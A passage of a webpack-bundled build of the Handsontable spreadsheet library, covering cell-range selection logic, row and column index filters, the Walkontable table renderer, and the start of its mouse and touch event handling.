Math.min(topLeft.row, expandingTopLeft.row); var resultTopCol = Math.min(topLeft.col, expandingTopLeft.col); var resultBottomRow = Math.max(bottomRight.row, expandingBottomRight.row); var resultBottomCol = Math.max(bottomRight.col, expandingBottomRight.col); var finalFrom = new _coords.default(resultTopRow, resultTopCol); var finalTo = new _coords.default(resultBottomRow, resultBottomCol); this.from = finalFrom; this.to = finalTo; this.setDirection(initialDirection); if (this.highlight.row === this.getBottomRightCorner().row && this.getVerticalDirection() === 'N-S') { this.flipDirectionVertically(); } if (this.highlight.col === this.getTopRightCorner().col && this.getHorizontalDirection() === 'W-E') { this.flipDirectionHorizontally(); } return true; } /** * Gets the direction of the selection. * * @returns {String} Returns one of the values: `'NW-SE'`, `'NE-SW'`, `'SE-NW'`, `'SW-NE'`. */ }, { key: "getDirection", value: function getDirection() { if (this.from.isNorthWestOf(this.to)) { // NorthWest - SouthEast return 'NW-SE'; } else if (this.from.isNorthEastOf(this.to)) { // NorthEast - SouthWest return 'NE-SW'; } else if (this.from.isSouthEastOf(this.to)) { // SouthEast - NorthWest return 'SE-NW'; } else if (this.from.isSouthWestOf(this.to)) { // SouthWest - NorthEast return 'SW-NE'; } } /** * Sets the direction of the selection. * * @param {String} direction One of the values: `'NW-SE'`, `'NE-SW'`, `'SE-NW'`, `'SW-NE'`. */ }, { key: "setDirection", value: function setDirection(direction) { switch (direction) { case 'NW-SE': var _ref = [this.getTopLeftCorner(), this.getBottomRightCorner()]; this.from = _ref[0]; this.to = _ref[1]; break; case 'NE-SW': var _ref2 = [this.getTopRightCorner(), this.getBottomLeftCorner()]; this.from = _ref2[0]; this.to = _ref2[1]; break; case 'SE-NW': var _ref3 = [this.getBottomRightCorner(), this.getTopLeftCorner()]; this.from = _ref3[0]; this.to = _ref3[1]; break; case 'SW-NE': var _ref4 = [this.getBottomLeftCorner(), this.getTopRightCorner()]; this.from = _ref4[0]; this.to = _ref4[1]; break; default: break; } } /** * Gets the vertical direction of the range. * * @returns {String} Returns one of the values: `N-S` (north->south), `S-N` (south->north). */ }, { key: "getVerticalDirection", value: function getVerticalDirection() { return ['NE-SW', 'NW-SE'].indexOf(this.getDirection()) > -1 ? 'N-S' : 'S-N'; } /** * Gets the horizontal direction of the range. * * @returns {String} Returns one of the values: `W-E` (west->east), `E-W` (east->west). */ }, { key: "getHorizontalDirection", value: function getHorizontalDirection() { return ['NW-SE', 'SW-NE'].indexOf(this.getDirection()) > -1 ? 'W-E' : 'E-W'; } /** * Flip the direction vertically. (e.g. `NW-SE` changes to `SW-NE`). */ }, { key: "flipDirectionVertically", value: function flipDirectionVertically() { var direction = this.getDirection(); switch (direction) { case 'NW-SE': this.setDirection('SW-NE'); break; case 'NE-SW': this.setDirection('SE-NW'); break; case 'SE-NW': this.setDirection('NE-SW'); break; case 'SW-NE': this.setDirection('NW-SE'); break; default: break; } } /** * Flip the direction horizontally. (e.g. `NW-SE` changes to `NE-SW`). */ }, { key: "flipDirectionHorizontally", value: function flipDirectionHorizontally() { var direction = this.getDirection(); switch (direction) { case 'NW-SE': this.setDirection('NE-SW'); break; case 'NE-SW': this.setDirection('NW-SE'); break; case 'SE-NW': this.setDirection('SW-NE'); break; case 'SW-NE': this.setDirection('SE-NW'); break; default: break; } } /** * Gets the top left corner of this range. * * @returns {CellCoords} */ }, { key: "getTopLeftCorner", value: function getTopLeftCorner() { return new _coords.default(Math.min(this.from.row, this.to.row), Math.min(this.from.col, this.to.col)); } /** * Gets the bottom right corner of this range. * * @returns {CellCoords} */ }, { key: "getBottomRightCorner", value: function getBottomRightCorner() { return new _coords.default(Math.max(this.from.row, this.to.row), Math.max(this.from.col, this.to.col)); } /** * Gets the top right corner of this range. * * @returns {CellCoords} */ }, { key: "getTopRightCorner", value: function getTopRightCorner() { return new _coords.default(Math.min(this.from.row, this.to.row), Math.max(this.from.col, this.to.col)); } /** * Gets the bottom left corner of this range. * * @returns {CellCoords} */ }, { key: "getBottomLeftCorner", value: function getBottomLeftCorner() { return new _coords.default(Math.max(this.from.row, this.to.row), Math.min(this.from.col, this.to.col)); } /** * Checks if coordinates match to one of the 4th corners of this range. * * @param {CellCoords} coords Cell coordinates to check. * @param {CellRange} [expandedRange] * @returns {Boolean} */ }, { key: "isCorner", value: function isCorner(coords, expandedRange) { if (expandedRange && expandedRange.includes(coords) && (this.getTopLeftCorner().isEqual(new _coords.default(expandedRange.from.row, expandedRange.from.col)) || this.getTopRightCorner().isEqual(new _coords.default(expandedRange.from.row, expandedRange.to.col)) || this.getBottomLeftCorner().isEqual(new _coords.default(expandedRange.to.row, expandedRange.from.col)) || this.getBottomRightCorner().isEqual(new _coords.default(expandedRange.to.row, expandedRange.to.col)))) { return true; } return coords.isEqual(this.getTopLeftCorner()) || coords.isEqual(this.getTopRightCorner()) || coords.isEqual(this.getBottomLeftCorner()) || coords.isEqual(this.getBottomRightCorner()); } /** * Gets coordinates of the corner which is opposite to the matched. When the passed coordinates matched to the * bottom-right corner of this range then the coordinates for top-left will be returned. * * @param {CellCoords} coords Cell coordinates to check. * @param {CellRange} [expandedRange] * @returns {CellCoords} */ }, { key: "getOppositeCorner", value: function getOppositeCorner(coords, expandedRange) { if (!(coords instanceof _coords.default)) { return false; } if (expandedRange) { if (expandedRange.includes(coords)) { if (this.getTopLeftCorner().isEqual(new _coords.default(expandedRange.from.row, expandedRange.from.col))) { return this.getBottomRightCorner(); } if (this.getTopRightCorner().isEqual(new _coords.default(expandedRange.from.row, expandedRange.to.col))) { return this.getBottomLeftCorner(); } if (this.getBottomLeftCorner().isEqual(new _coords.default(expandedRange.to.row, expandedRange.from.col))) { return this.getTopRightCorner(); } if (this.getBottomRightCorner().isEqual(new _coords.default(expandedRange.to.row, expandedRange.to.col))) { return this.getTopLeftCorner(); } } } if (coords.isEqual(this.getBottomRightCorner())) { return this.getTopLeftCorner(); } else if (coords.isEqual(this.getTopLeftCorner())) { return this.getBottomRightCorner(); } else if (coords.isEqual(this.getTopRightCorner())) { return this.getBottomLeftCorner(); } else if (coords.isEqual(this.getBottomLeftCorner())) { return this.getTopRightCorner(); } } /** * @param {CellRange} range * @returns {Array} */ }, { key: "getBordersSharedWith", value: function getBordersSharedWith(range) { if (!this.includesRange(range)) { return []; } var thisBorders = { top: Math.min(this.from.row, this.to.row), bottom: Math.max(this.from.row, this.to.row), left: Math.min(this.from.col, this.to.col), right: Math.max(this.from.col, this.to.col) }; var rangeBorders = { top: Math.min(range.from.row, range.to.row), bottom: Math.max(range.from.row, range.to.row), left: Math.min(range.from.col, range.to.col), right: Math.max(range.from.col, range.to.col) }; var result = []; if (thisBorders.top === rangeBorders.top) { result.push('top'); } if (thisBorders.right === rangeBorders.right) { result.push('right'); } if (thisBorders.bottom === rangeBorders.bottom) { result.push('bottom'); } if (thisBorders.left === rangeBorders.left) { result.push('left'); } return result; } /** * Get inner selected cell coords defined by this range * * @returns {Array} */ }, { key: "getInner", value: function getInner() { var topLeft = this.getTopLeftCorner(); var bottomRight = this.getBottomRightCorner(); var out = []; for (var r = topLeft.row; r <= bottomRight.row; r++) { for (var c = topLeft.col; c <= bottomRight.col; c++) { if (!(this.from.row === r && this.from.col === c) && !(this.to.row === r && this.to.col === c)) { out.push(new _coords.default(r, c)); } } } return out; } /** * Get all selected cell coords defined by this range * * @returns {Array} */ }, { key: "getAll", value: function getAll() { var topLeft = this.getTopLeftCorner(); var bottomRight = this.getBottomRightCorner(); var out = []; for (var r = topLeft.row; r <= bottomRight.row; r++) { for (var c = topLeft.col; c <= bottomRight.col; c++) { if (topLeft.row === r && topLeft.col === c) { out.push(topLeft); } else if (bottomRight.row === r && bottomRight.col === c) { out.push(bottomRight); } else { out.push(new _coords.default(r, c)); } } } return out; } /** * Runs a callback function against all cells in the range. You can break the iteration by returning * `false` in the callback function * * @param callback {Function} */ }, { key: "forAll", value: function forAll(callback) { var topLeft = this.getTopLeftCorner(); var bottomRight = this.getBottomRightCorner(); for (var r = topLeft.row; r <= bottomRight.row; r++) { for (var c = topLeft.col; c <= bottomRight.col; c++) { var breakIteration = callback(r, c); if (breakIteration === false) { return; } } } } /** * Convert CellRange to literal object. * * @return {Object} Returns a literal object with `from` and `to` properties which each of that object * contains `row` and `col` keys. */ }, { key: "toObject", value: function toObject() { return { from: this.from.toObject(), to: this.to.toObject() }; } }]); return CellRange; }(); var _default = CellRange; exports.default = _default; /***/ }), /* 163 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * @class ColumnFilter */ var ColumnFilter = /*#__PURE__*/ function () { /** * @param {Number} offset * @param {Number} total * @param {Number} countTH */ function ColumnFilter(offset, total, countTH) { _classCallCheck(this, ColumnFilter); this.offset = offset; this.total = total; this.countTH = countTH; } /** * @param index * @returns {Number} */ _createClass(ColumnFilter, [{ key: "offsetted", value: function offsetted(index) { return index + this.offset; } /** * @param index * @returns {Number} */ }, { key: "unOffsetted", value: function unOffsetted(index) { return index - this.offset; } /** * @param index * @returns {Number} */ }, { key: "renderedToSource", value: function renderedToSource(index) { return this.offsetted(index); } /** * @param index * @returns {Number} */ }, { key: "sourceToRendered", value: function sourceToRendered(index) { return this.unOffsetted(index); } /** * @param index * @returns {Number} */ }, { key: "offsettedTH", value: function offsettedTH(index) { return index - this.countTH; } /** * @param index * @returns {Number} */ }, { key: "unOffsettedTH", value: function unOffsettedTH(index) { return index + this.countTH; } /** * @param index * @returns {Number} */ }, { key: "visibleRowHeadedColumnToSourceColumn", value: function visibleRowHeadedColumnToSourceColumn(index) { return this.renderedToSource(this.offsettedTH(index)); } /** * @param index * @returns {Number} */ }, { key: "sourceColumnToVisibleRowHeadedColumn", value: function sourceColumnToVisibleRowHeadedColumn(index) { return this.unOffsettedTH(this.sourceToRendered(index)); } }]); return ColumnFilter; }(); var _default = ColumnFilter; exports.default = _default; /***/ }), /* 164 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * @class RowFilter */ var RowFilter = /*#__PURE__*/ function () { /** * @param {Number} offset * @param {Number} total * @param {Number} countTH */ function RowFilter(offset, total, countTH) { _classCallCheck(this, RowFilter); this.offset = offset; this.total = total; this.countTH = countTH; } /** * @param index * @returns {Number} */ _createClass(RowFilter, [{ key: "offsetted", value: function offsetted(index) { return index + this.offset; } /** * @param index * @returns {Number} */ }, { key: "unOffsetted", value: function unOffsetted(index) { return index - this.offset; } /** * @param index * @returns {Number} */ }, { key: "renderedToSource", value: function renderedToSource(index) { return this.offsetted(index); } /** * @param index * @returns {Number} */ }, { key: "sourceToRendered", value: function sourceToRendered(index) { return this.unOffsetted(index); } /** * @param index * @returns {Number} */ }, { key: "offsettedTH", value: function offsettedTH(index) { return index - this.countTH; } /** * @param index * @returns {Number} */ }, { key: "unOffsettedTH", value: function unOffsettedTH(index) { return index + this.countTH; } /** * @param index * @returns {Number} */ }, { key: "visibleColHeadedRowToSourceRow", value: function visibleColHeadedRowToSourceRow(index) { return this.renderedToSource(this.offsettedTH(index)); } /** * @param index * @returns {Number} */ }, { key: "sourceRowToVisibleColHeadedRow", value: function sourceRowToVisibleColHeadedRow(index) { return this.unOffsettedTH(this.sourceToRendered(index)); } }]); return RowFilter; }(); var _default = RowFilter; exports.default = _default; /***/ }), /* 165 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _object = __webpack_require__(2); var _string = __webpack_require__(48); var _event = _interopRequireDefault(__webpack_require__(286)); var _overlays = _interopRequireDefault(__webpack_require__(287)); var _scroll = _interopRequireDefault(__webpack_require__(288)); var _settings = _interopRequireDefault(__webpack_require__(289)); var _table = _interopRequireDefault(__webpack_require__(290)); var _viewport = _interopRequireDefault(__webpack_require__(292)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * @class Walkontable */ var Walkontable = /*#__PURE__*/ function () { /** * @param {Object} settings */ function Walkontable(settings) { _classCallCheck(this, Walkontable); var originalHeaders = []; // this is the namespace for global events this.guid = "wt_".concat((0, _string.randomString)()); // bootstrap from settings if (settings.cloneSource) { this.cloneSource = settings.cloneSource; this.cloneOverlay = settings.cloneOverlay; this.wtSettings = settings.cloneSource.wtSettings; this.wtTable = new _table.default(this, settings.table, settings.wtRootElement); this.wtScroll = new _scroll.default(this); this.wtViewport = settings.cloneSource.wtViewport; this.wtEvent = new _event.default(this); this.selections = this.cloneSource.selections; } else { this.wtSettings = new _settings.default(this, settings); this.wtTable = new _table.default(this, settings.table); this.wtScroll = new _scroll.default(this); this.wtViewport = new _viewport.default(this); this.wtEvent = new _event.default(this); this.selections = this.getSetting('selections'); this.wtOverlays = new _overlays.default(this); this.exportSettingsAsClassNames(); } // find original headers if (this.wtTable.THEAD.childNodes.length && this.wtTable.THEAD.childNodes[0].childNodes.length) { for (var c = 0, clen = this.wtTable.THEAD.childNodes[0].childNodes.length; c < clen; c++) { originalHeaders.push(this.wtTable.THEAD.childNodes[0].childNodes[c].innerHTML); } if (!this.getSetting('columnHeaders').length) { this.update('columnHeaders', [function (column, TH) { (0, _element.fastInnerText)(TH, originalHeaders[column]); }]); } } this.drawn = false; this.drawInterrupted = false; } /** * Force rerender of Walkontable * * @param {Boolean} [fastDraw=false] When `true`, try to refresh only the positions of borders without rerendering * the data. It will only work if Table.draw() does not force * rendering anyway * @returns {Walkontable} */ _createClass(Walkontable, [{ key: "draw", value: function draw() { var fastDraw = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; this.drawInterrupted = false; if (!fastDraw && !(0, _element.isVisible)(this.wtTable.TABLE)) { // draw interrupted because TABLE is not visible this.drawInterrupted = true; } else { this.wtTable.draw(fastDraw); } return this; } /** * Returns the TD at coords. If topmost is set to true, returns TD from the topmost overlay layer, * if not set or set to false, returns TD from the master table. * * @param {CellCoords} coords * @param {Boolean} [topmost=false] * @returns {Object} */ }, { key: "getCell", value: function getCell(coords) { var topmost = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; if (!topmost) { return this.wtTable.getCell(coords); } var totalRows = this.wtSettings.getSetting('totalRows'); var fixedRowsTop = this.wtSettings.getSetting('fixedRowsTop'); var fixedRowsBottom = this.wtSettings.getSetting('fixedRowsBottom'); var fixedColumns = this.wtSettings.getSetting('fixedColumnsLeft'); if (coords.row < fixedRowsTop && coords.col < fixedColumns) { return this.wtOverlays.topLeftCornerOverlay.clone.wtTable.getCell(coords); } else if (coords.row < fixedRowsTop) { return this.wtOverlays.topOverlay.clone.wtTable.getCell(coords); } else if (coords.col < fixedColumns && coords.row >= totalRows - fixedRowsBottom) { if (this.wtOverlays.bottomLeftCornerOverlay && this.wtOverlays.bottomLeftCornerOverlay.clone) { return this.wtOverlays.bottomLeftCornerOverlay.clone.wtTable.getCell(coords); } } else if (coords.col < fixedColumns) { return this.wtOverlays.leftOverlay.clone.wtTable.getCell(coords); } else if (coords.row < totalRows && coords.row > totalRows - fixedRowsBottom) { if (this.wtOverlays.bottomOverlay && this.wtOverlays.bottomOverlay.clone) { return this.wtOverlays.bottomOverlay.clone.wtTable.getCell(coords); } } return this.wtTable.getCell(coords); } /** * @param {Object} settings * @param {*} value * @returns {Walkontable} */ }, { key: "update", value: function update(settings, value) { return this.wtSettings.update(settings, value); } /** * Scrolls the viewport to a cell (rerenders if needed). * * @param {CellCoords} coords * @param {Boolean} [snapToTop] * @param {Boolean} [snapToRight] * @param {Boolean} [snapToBottom] * @param {Boolean} [snapToLeft] * @returns {Boolean} */ }, { key: "scrollViewport", value: function scrollViewport(coords, snapToTop, snapToRight, snapToBottom, snapToLeft) { return this.wtScroll.scrollViewport(coords, snapToTop, snapToRight, snapToBottom, snapToLeft); } /** * Scrolls the viewport to a column (rerenders if needed). * * @param {Number} column Visual column index. * @param {Boolean} [snapToRight] * @param {Boolean} [snapToLeft] * @returns {Boolean} */ }, { key: "scrollViewportHorizontally", value: function scrollViewportHorizontally(column, snapToRight, snapToLeft) { return this.wtScroll.scrollViewportHorizontally(column, snapToRight, snapToLeft); } /** * Scrolls the viewport to a row (rerenders if needed). * * @param {Number} row Visual row index. * @param {Boolean} [snapToTop] * @param {Boolean} [snapToBottom] * @returns {Boolean} */ }, { key: "scrollViewportVertically", value: function scrollViewportVertically(row, snapToTop, snapToBottom) { return this.wtScroll.scrollViewportVertically(row, snapToTop, snapToBottom); } /** * @returns {Array} */ }, { key: "getViewport", value: function getViewport() { return [this.wtTable.getFirstVisibleRow(), this.wtTable.getFirstVisibleColumn(), this.wtTable.getLastVisibleRow(), this.wtTable.getLastVisibleColumn()]; } /** * Get overlay name * * @returns {String} */ }, { key: "getOverlayName", value: function getOverlayName() { return this.cloneOverlay ? this.cloneOverlay.type : 'master'; } /** * Check overlay type of this Walkontable instance. * * @param {String} name Clone type @see {Overlay.CLONE_TYPES}. * @returns {Boolean} */ }, { key: "isOverlayName", value: function isOverlayName(name) { if (this.cloneOverlay) { return this.cloneOverlay.type === name; } return false; } /** * Export settings as class names added to the parent element of the table. */ }, { key: "exportSettingsAsClassNames", value: function exportSettingsAsClassNames() { var _this = this; var toExport = { rowHeaders: ['array'], columnHeaders: ['array'] }; var allClassNames = []; var newClassNames = []; (0, _object.objectEach)(toExport, function (optionType, key) { if (optionType.indexOf('array') > -1 && _this.getSetting(key).length) { newClassNames.push("ht".concat((0, _string.toUpperCaseFirst)(key))); } allClassNames.push("ht".concat((0, _string.toUpperCaseFirst)(key))); }); (0, _element.removeClass)(this.wtTable.wtRootElement.parentNode, allClassNames); (0, _element.addClass)(this.wtTable.wtRootElement.parentNode, newClassNames); } /** * Get/Set Walkontable instance setting * * @param {String} key * @param {*} [param1] * @param {*} [param2] * @param {*} [param3] * @param {*} [param4] * @returns {*} */ }, { key: "getSetting", value: function getSetting(key, param1, param2, param3, param4) { // this is faster than .apply - https://github.com/handsontable/handsontable/wiki/JavaScript-&-DOM-performance-tips return this.wtSettings.getSetting(key, param1, param2, param3, param4); } /** * Checks if setting exists * * @param {String} key * @returns {Boolean} */ }, { key: "hasSetting", value: function hasSetting(key) { return this.wtSettings.has(key); } /** * Destroy instance */ }, { key: "destroy", value: function destroy() { this.wtOverlays.destroy(); this.wtEvent.destroy(); } }]); return Walkontable; }(); var _default = Walkontable; exports.default = _default; /***/ }), /* 166 */ /***/ (function(module, exports) { module.exports = function(module) { if(!module.webpackPolyfill) { module.deprecate = function() {}; module.paths = []; // module.parent = undefined by default if(!module.children) module.children = []; Object.defineProperty(module, "loaded", { enumerable: true, get: function() { return module.l; } }); Object.defineProperty(module, "id", { enumerable: true, get: function() { return module.i; } }); module.webpackPolyfill = 1; } return module; }; /***/ }), /* 167 */ /***/ (function(module, exports) { /***/ }), /* 168 */ /***/ (function(module, exports) { /***/ }), /* 169 */ /***/ (function(module, exports) { /***/ }), /* 170 */ /***/ (function(module, exports) { /***/ }), /* 171 */ /***/ (function(module, exports) { /***/ }), /* 172 */ /***/ (function(module, exports) { /***/ }), /* 173 */ /***/ (function(module, exports) { /***/ }), /* 174 */ /***/ (function(module, exports) { /***/ }), /* 175 */ /***/ (function(module, exports) { /***/ }), /* 176 */ /***/ (function(module, exports) { /***/ }), /* 177 */ /***/ (function(module, exports) { /***/ }), /* 178 */ /***/ (function(module, exports) { /***/ }), /* 179 */ /***/ (function(module, exports) { /***/ }), /* 180 */ /***/ (function(module, exports) { /***/ }), /* 181 */ /***/ (function(module, exports) { /***/ }), /* 182 */ /***/ (function(module, exports) { /***/ }), /* 183 */ /***/ (function(module, exports) { /***/ }), /* 184 */ /***/ (function(module, exports) { /***/ }), /* 185 */ /***/ (function(module, exports) { /***/ }), /* 186 */ /***/ (function(module, exports) { /***/ }), /* 187 */ /***/ (function(module, exports) { /***/ }), /* 188 */ /***/ (function(module, exports) { /***/ }), /* 189 */ /***/ (function(module, exports) { /***/ }), /* 190 */ /***/ (function(module, exports) { /***/ }), /* 191 */ /***/ (function(module, exports) { /***/ }), /* 192 */ /***/ (function(module, exports) { /***/ }), /* 193 */ /***/ (function(module, exports) { /***/ }), /* 194 */ /***/ (function(module, exports) { /***/ }), /* 195 */ /***/ (function(module, exports) { /***/ }), /* 196 */ /***/ (function(module, exports) { /***/ }), /* 197 */ /***/ (function(module, exports) { /***/ }), /* 198 */ /***/ (function(module, exports) { /***/ }), /* 199 */ /***/ (function(module, exports) { /***/ }), /* 200 */ /***/ (function(module, exports) { /***/ }), /* 201 */ /***/ (function(module, exports) { /***/ }), /* 202 */ /***/ (function(module, exports) { /***/ }), /* 203 */ /***/ (function(module, exports) { /***/ }), /* 204 */ /***/ (function(module, exports) { /***/ }), /* 205 */ /***/ (function(module, exports) { /***/ }), /* 206 */ /***/ (function(module, exports) { /***/ }), /* 207 */ /***/ (function(module, exports) { /***/ }), /* 208 */ /***/ (function(module, exports) { /***/ }), /* 209 */ /***/ (function(module, exports) { /***/ }), /* 210 */ /***/ (function(module, exports) { /***/ }), /* 211 */ /***/ (function(module, exports) { /***/ }), /* 212 */ /***/ (function(module, exports) { /***/ }), /* 213 */ /***/ (function(module, exports) { /***/ }), /* 214 */ /***/ (function(module, exports) { /***/ }), /* 215 */ /***/ (function(module, exports) { /***/ }), /* 216 */ /***/ (function(module, exports) { /***/ }), /* 217 */ /***/ (function(module, exports) { /***/ }), /* 218 */ /***/ (function(module, exports) { /***/ }), /* 219 */ /***/ (function(module, exports) { /***/ }), /* 220 */ /***/ (function(module, exports) { /***/ }), /* 221 */ /***/ (function(module, exports) { /***/ }), /* 222 */ /***/ (function(module, exports) { /***/ }), /* 223 */ /***/ (function(module, exports) { /***/ }), /* 224 */ /***/ (function(module, exports) { /***/ }), /* 225 */ /***/ (function(module, exports) { /***/ }), /* 226 */ /***/ (function(module, exports) { /***/ }), /* 227 */ /***/ (function(module, exports) { /***/ }), /* 228 */ /***/ (function(module, exports) { /***/ }), /* 229 */ /***/ (function(module, exports) { /***/ }), /* 230 */ /***/ (function(module, exports) { /***/ }), /* 231 */ /***/ (function(module, exports) { /***/ }), /* 232 */ /***/ (function(module, exports) { /***/ }), /* 233 */ /***/ (function(module, exports) { /***/ }), /* 234 */ /***/ (function(module, exports) { /***/ }), /* 235 */ /***/ (function(module, exports) { /***/ }), /* 236 */ /***/ (function(module, exports) { /***/ }), /* 237 */ /***/ (function(module, exports) { /***/ }), /* 238 */ /***/ (function(module, exports) { /***/ }), /* 239 */ /***/ (function(module, exports) { /***/ }), /* 240 */ /***/ (function(module, exports) { /***/ }), /* 241 */ /***/ (function(module, exports) { /***/ }), /* 242 */ /***/ (function(module, exports) { /***/ }), /* 243 */ /***/ (function(module, exports) { /***/ }), /* 244 */ /***/ (function(module, exports) { /***/ }), /* 245 */ /***/ (function(module, exports) { /***/ }), /* 246 */ /***/ (function(module, exports) { /***/ }), /* 247 */ /***/ (function(module, exports) { /***/ }), /* 248 */ /***/ (function(module, exports) { /***/ }), /* 249 */ /***/ (function(module, exports) { /***/ }), /* 250 */ /***/ (function(module, exports) { /***/ }), /* 251 */ /***/ (function(module, exports) { /***/ }), /* 252 */ /***/ (function(module, exports) { /***/ }), /* 253 */ /***/ (function(module, exports) { /***/ }), /* 254 */ /***/ (function(module, exports) { /***/ }), /* 255 */ /***/ (function(module, exports) { /***/ }), /* 256 */ /***/ (function(module, exports) { /***/ }), /* 257 */ /***/ (function(module, exports) { /***/ }), /* 258 */ /***/ (function(module, exports) { /***/ }), /* 259 */ /***/ (function(module, exports) { /***/ }), /* 260 */ /***/ (function(module, exports) { /***/ }), /* 261 */ /***/ (function(module, exports) { /***/ }), /* 262 */ /***/ (function(module, exports) { /***/ }), /* 263 */ /***/ (function(module, exports) { /***/ }), /* 264 */ /***/ (function(module, exports) { /***/ }), /* 265 */ /***/ (function(module, exports) { /***/ }), /* 266 */ /***/ (function(module, exports) { /***/ }), /* 267 */ /***/ (function(module, exports) { /***/ }), /* 268 */ /***/ (function(module, exports) { /***/ }), /* 269 */ /***/ (function(module, exports) { /***/ }), /* 270 */ /***/ (function(module, exports) { /***/ }), /* 271 */ /***/ (function(module, exports) { /***/ }), /* 272 */ /***/ (function(module, exports) { /***/ }), /* 273 */ /***/ (function(module, exports) { /***/ }), /* 274 */ /***/ (function(module, exports) { /***/ }), /* 275 */ /***/ (function(module, exports) { /***/ }), /* 276 */ /***/ (function(module, exports) { /***/ }), /* 277 */ /***/ (function(module, exports) { /***/ }), /* 278 */ /***/ (function(module, exports) { /***/ }), /* 279 */ /***/ (function(module, exports) { /***/ }), /* 280 */ /***/ (function(module, exports) { /***/ }), /* 281 */ /***/ (function(module, exports) { /***/ }), /* 282 */ /***/ (function(module, exports) { /***/ }), /* 283 */ /***/ (function(module, exports) { /***/ }), /* 284 */ /***/ (function(module, exports) { /***/ }), /* 285 */ /***/ (function(module, exports) { /***/ }), /* 286 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _function = __webpack_require__(59); var _feature = __webpack_require__(47); var _browser = __webpack_require__(42); var _eventManager = _interopRequireDefault(__webpack_require__(10)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var privatePool = new WeakMap(); /** * @class Event */ var Event = /*#__PURE__*/ function () { /** * @param {*} instance Walkontable instance. */ function Event(instance) { _classCallCheck(this, Event); /** * Instance of {@link Walkontable}. * * @private * @type {Walkontable} */ this.instance = instance; /** * Instance of {@link EventManager}. * * @private * @type {EventManager} */ this.eventManager = new _eventManager.default(instance); privatePool.set(this, { selectedCellBeforeTouchEnd: void 0, dblClickTimeout: [null, null], dblClickOrigin: [null, null] }); this.registerEvents(); } /** * Adds listeners for mouse and touch events. * * @private */ _createClass(Event, [{ key: "registerEvents", value: function registerEvents() { var _this = this; this.eventManager.addEventListener(this.instance.wtTable.holder, 'contextmenu', function (event) { return _this.onContextMenu(event); }); this.eventManager.addEventListener(this.instance.wtTable.TABLE, 'mouseover', function (event) { return _this.onMouseOver(event); }); this.eventManager.addEventListener(this.instance.wtTable.TABLE, 'mouseout', function (event) { return _this.onMouseOut(event); }); var initTouchEvents = function initTouchEvents() { _this.eventManager.addEventListener(_this.instance.wtTable.holder, 'touchstart', function (event) { return _this.onTouchStart(event); }); _this.eventManager.addEventListener(_this.instance.wtTable.holder, 'touchend', function (event) { return _this.onTouchEnd(event); }); if (!_this.instance.momentumScrolling) { _this.instance.momentumScrolling = {}; } _this.eventManager.addEventListener(_this.instance.wtTable.holder, 'scroll', function () { clearTimeout(_this.instance.momentumScrolling._timeout); if (!_this.instance.momentumScrolling.ongoing) { _this.instance.getSetting('onBeforeTouchScroll'); } _this.instance.momentumScrolling.ongoing = true; _this.instance.momentumScrolling._timeout = setTimeout(function () { if (!_this.instance.touchApplied) { _this.instance.momentumScrolling.ongoing = false; _this.instance.getSetting('onAfterMomentumScroll'); } }, 200); }); }; var initMouseEvents = function initMouseEvents() { _this.eventManager.addEventListener(_this.instance.wtTable.holder, 'mouseup', function (event) { return _this.onMouseUp(event); }); _this.eventManager.addEventListener(_this.instance.wtTable.holder, 'mousedown', function (event) { return _this.onMouseDown(event); }); }; if ((0, _browser.isMobileBrowser)()) { initTouchEvents(); } else { // PC like devices which support both methods (touchscreen and ability to plug-in mouse). if ((0, _feature.isTouchSupported)()) { initTouchEvents(); } initMouseEvents(); } this.eventManager.addEventListener(window, 'resize', function () { if (_this.instance.getSetting('stretchH') !== 'none') { _this.instance.draw(); } }); } /** * Checks if an element is already selected. * * @private * @param {Element} touchTarget * @returns {Boolean} */ }, { key: "selectedCellWasTouched", value: function selectedCellWasTouched(touchTarget) { var priv = privatePool.get(this); var cellUnderFinger = this.parentCell(touchTarget); var 